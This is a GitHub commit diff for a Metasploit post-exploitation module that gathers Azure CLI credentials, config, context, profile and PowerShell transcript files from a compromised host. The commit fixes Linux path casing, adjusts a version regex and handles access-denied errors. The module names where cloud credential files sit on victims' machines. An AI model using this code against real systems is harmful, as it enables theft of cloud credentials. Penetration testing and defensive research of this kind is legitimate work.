Skip to content

Commit 6dc1b6a

Browse files
authored
fix slashes for linux on azure_cli
1 parent b4975f6 commit 6dc1b6a

File tree

1 file changed

+14
-6
lines changed

1 file changed

+14
-6
lines changed

modules/post/multi/gather/azure_cli_creds.rb

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -85,8 +85,8 @@ def get_az_version
8585
command = 'az --version'
8686
command = "powershell.exe #{command}" if session.platform == 'windows'
8787
version_output = cmd_exec(command, 60)
88-
# https://rubular.com/r/wW02GJq51WDa0p
89-
version_output.match(/azure-cli\s+[(]?([\d.]+)[)]?/)
88+
# https://rubular.com/r/IKvnY4f15Rfujx
89+
version_output.match(/azure-cli\s+\(?([\d.]+)\)?/)
9090
end
9191

9292
def run
@@ -118,7 +118,7 @@ def run
118118

119119
# ini file content, not json.
120120
vprint_status(' Checking for config files')
121-
%w[.Azure\config].each do |file_location|
121+
%w[.azure/config].each do |file_location|
122122
possible_location = ::File.join(user_directory, file_location)
123123
next unless exists?(possible_location)
124124

@@ -134,7 +134,7 @@ def run
134134
end
135135

136136
vprint_status(' Checking for context files')
137-
%w[.Azure/AzureRmContext.json].each do |file_location|
137+
%w[.azure/AzureRmContext.json].each do |file_location|
138138
possible_location = ::File.join(user_directory, file_location)
139139
next unless exists?(possible_location)
140140

@@ -161,7 +161,7 @@ def run
161161
end
162162

163163
vprint_status(' Checking for profile files')
164-
%w[.Azure/azureProfile.json].each do |file_location|
164+
%w[.azure/azureProfile.json].each do |file_location|
165165
possible_location = ::File.join(user_directory, file_location)
166166
next unless exists?(possible_location)
167167

@@ -216,7 +216,15 @@ def run
216216

217217
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description
218218
vprint_status(' Checking for powershell transcript files')
219-
dir("#{user_directory}/Documents").each do |file_name|
219+
220+
# Post failed: Rex::Post::Meterpreter::RequestError stdapi_fs_ls: Operation failed: Access is denied.
221+
begin
222+
files = dir("#{user_directory}/Documents")
223+
rescue Rex::Post::Meterpreter::RequestError
224+
files = []
225+
end
226+
227+
files.each do |file_name|
220228
next unless file_name =~ /PowerShell_transcript\.[\w_]+\.[^.]+\.\d+\.txt/
221229

222230
possible_location = "#{user_directory}/Documents/#{file_name}"

0 commit comments

Comments
 (0)